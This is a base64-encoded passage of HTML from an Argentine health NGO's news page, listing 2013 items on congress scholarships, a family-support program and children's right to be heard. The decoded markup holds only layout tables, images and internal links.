wvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzEwIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTU2IiByb3dzcGFuPSIyIiB2YWxpZ249InRvcCI+CgkJCQkKCQkJCTx0YWJsZSB3aWR0aD0iMzIlIiBib3JkZXI9IjEiIGNlbGxzcGFjaW5nPSIzIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJzcmMvaW1nX3VwLzE2MTAyMDEzLjAuanBnIiB3aWR0aD0iMTQ2IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPgoJCQkJCQkJCTwvdGQ+ICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MTYvMTAvMjAxMzwvc3Bhbj48YnI+U2FsdWQgQWN0aXZhIG90b3JnYSBtZWRpYXMgYmVjYXMgcGFyYSBlbCBJViBDb25ncmVzbyBJbnRlcm5hY2lvbmFsLCBWIE5hY2lvbmFsLCBWSSBSZWdpb25hbCBWaW9sZW5jaWEsIE1hbHRyYXRvIHkgQWJ1c28uPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD4mbmJzcDs8L3A+DQo8cD5TZXImYWFjdXRlO24gb3RvcmdhZGFzIDUwIG1lZGlhcyBiZWNhcywgcXVlZGFuIHBvY2FzISEhIGNvbmRpY2lvbjo8L3A+DQo8cD5QZXJ0ZW5lY2VyIGFsIGFtYml0byBwdWJsaWNvIG8gYSBPTkcsIHNlIGNvbnNpZGVyYSB0YW1iaWVuIGxhIGRpc3RhbmNpYSBhbCBsdWdhciBkZWwgZXZlbnRvISEhIGVzIG11eSBzZW5jaWxsbywgc29sbyBkZWJlcyBlbnZpYXIgdW4gZW1haWwuLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwOSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA5Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjI0LzA3LzIwMTM8L3NwYW4+PGJyPk5FQ0VTSVRBTU9TIERFIFNVIFNPTElEQVJJREFEIEhBQ0lBIExPUyBOSdFPUyBZIE5J0UFTISEhPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxiciAvPjwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxiciAvPjwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPlBST0dSQU1BIEZBTUlMSUFTIFNPTElEQVJJQVM8L3NwYW4+PC9zdHJvbmc+PC9wPg0KPHA+PHN0cm9uZz5DQU1CSU8gREUgU0VERTwvc3Ryb25nPjwvcD4NCjxwPkxhIGNhcGFjaXRhY2kmb2FjdXRlO24gcGFyYSBsYSBwdWVzdGEgZW4gbWFyY2hhIGRlbCA8c3Ryb25nPlByb2dyYW1hIEZhbWlsaWFzIFNvbGlkYXJpYXM8L3N0cm9uZz4gc2UgcmVhbGl6YXImYWFjdXRlOyBlbiBsYSBsb2NhbGlkYWQgZGUgPHN0cm9uZz5OYXZhcnJvPC9zdHJvbmc+IHBhcmEgdG9kbyBlbCBjb3JyZWRvciBkZSBsYSBSdXRhIDQwLjwvcD4NCjxwPkluaWNpbyA8c3Ryb25nPk1pJmVhY3V0ZTtyY29sZXMgMjggZGUgYWdvc3RvIGEgbGFzIDE0IGhvcmFzLiZuYnNwOzwvc3Ryb25nPjwvcD4NCjxwPlNlZGU6IDxzdHJvbmc+U2FsJm9hY3V0ZTtuIE11bmljaXBhbCBlbiBsYSBjYWxsZSAxMDcgZXNxdWluYSAyMiAtIE5hdmFycm88L3N0cm9uZz48L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA4Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTYiIHJvd3NwYW49IjIiIHZhbGlnbj0idG9wIj4KCQkJCQoJCQkJPHRhYmxlIHdpZHRoPSIzMiUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjMiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PGltZyBzcmM9InNyYy9pbWdfdXAvMTIwNzIwMTMuMC5qcGciIHdpZHRoPSIxNDYiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CgkJCQkJCQkJPC90ZD4gICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4xMi8wNy8yMDEzPC9zcGFuPjxicj5TQUxVRCBBQ1RJVkEgaGEgc2lkbyBlbGVnaWRhIHBvciBzZWd1bmRhIHZleiBjb25zZWN1dGl2YSBjb21vIHVubyBkZSBsb3MgZ2FuYWRvcmVzIGRlbCBDdWFydG8gQ29uY3Vyc28gZGUgUHJveWVjdG9zIFNvY2lhbGVzIGRlIFBldHJvYnJhczwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODUiIGNvbHNwYW49IjQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+RW4gZWwgbWFyY28gZGVsIEN1YXJ0byBDb25jdXJzbyBkZSBQcm95ZWN0b3MgU29jaWFsZXMgZGUgUGV0cm9icmFzLCANCm51ZXN0cmEgSW5zdGl0dWNpJm9hY3V0ZTtuIFNBTFVEIEFDVElWQSBoYSBzaWRvIGVsZWdpZGEgcG9yIHNlZ3VuZGEgdmV6IA0KY29uc2VjdXRpdmEgY29tbyB1bm8gZGUgbG9zIGdhbmFkb3JlcyBkZSBkaWNobyBjb25jdXJzby48YnIgLz5FbiBlc3RhIA0KZWRpY2kmb2FjdXRlO24gZWwgcHJveWVjdG8gcXVlIGhhIHNpZG8gZWxlZ2lkbyBlcyBlbCAmbGRxdW87UHJvZ3JhbWEgZGUgRmFtaWxpYXMgDQpTb2xpZGFyaWFzJnJkcXVvOyBzaWVuZG8gc3UgJmFhY3V0ZTtyZWEgZGUgaW1wbGVtZW50YWNpJm9hY3V0ZTtuIGxvcyBNdW5pY2lwaW9zIGRlIE5hdmFycm8sIA0KR3JhbC4gTGFzIEhlcmFzLCBNYXJjb3MgUGF6LCB5IE1lcmxvPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjAyLzA3LzIwMTM8L3NwYW4+PGJyPk/tciBvIGVzY3VjaGFyPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Qb3IgQ2FybG9zIFJvemFuc2tpICo8L3A+DQo8cD5BIGxvIGxhcmdvIGRlIGxvcyBzaWdsb3MsIGxhcyBuaSZudGlsZGU7YXMsIG5pJm50aWxkZTtvcyB5IGFkb2xlc2NlbnRlcyBoYW4gc2lkbyBtYWx0cmF0YWRvcyB5IGFidXNhZG9zIHNpbiBxdWUgYSBsYSBjb211bmlkYWQgbGUgaW50ZXJlc2FyYSBuaSBzaXF1aWVyYSBlc2N1Y2hhcmxvcyBjdWFuZG8gaGFjJmlhY3V0ZTthbiBzYWJlciBkZSBhbGd1bmEgZm9ybWEgbG9zIHN1ZnJpbWllbnRvcyBxdWUgcGFkZWMmaWFjdXRlO2FuLiBFbiAxODc0LCBlbiBFc3RhZG9zIFVuaWRvcywgZnVlIGxhIHByaW1lcmEgdmV6IHF1ZSBlbCBFc3RhZG8gaW50ZXJ2aW5vIGVuIHVuIGNhc28gZGUgbWFsdHJhdG8geSBhYnVzby4uLjwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDYiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNiI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4wMi8wNy8yMDEzPC9zcGFuPjxicj5FbCBkZXJlY2hvIGRlIGxvcyBuafFvcyBhIHNlciBlc2N1Y2hhZG9zPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5VbiBob21icmUgYWN1c2FkbyBkZSBoYWJlciBhYnVzYWRvIGRlIHN1cyBoaWpvcyBoYWImaWFjdXRlO2Egc2lkbyBzb2JyZXNlJmlhY3V0ZTtkbyBkb3MgdmVjZXMgcG9yIGxhIEp1c3RpY2lhLiBQZXJvIGFob3JhLCBsYSBDJmFhY3V0ZTttYXJhIGRlIENhc2FjaSZvYWN1dGU7biByZXZvYyZvYWN1dGU7IGVzYSBkZWNpc2kmb2FjdXRlO24gcG9ycXVlIGVuIGxhIGludmVzdGlnYWNpJm9hY3V0ZTtuIGVsIGp1ZXogbnVuY2EgaGFiJmlhY3V0ZTthIGVzY3VjaGFkbyBhIGxvcyBjaGljb3MuIFkgb3JkZW4mb2FjdXRlOyBxdWUgdGVuZ2EgZW4gY3VlbnRhIGxvIHF1ZSBkaWNlbi48L3A+DQo8cD5Qb3IgTWFyaWFuYSBDYXJiYWphbDwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDUiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8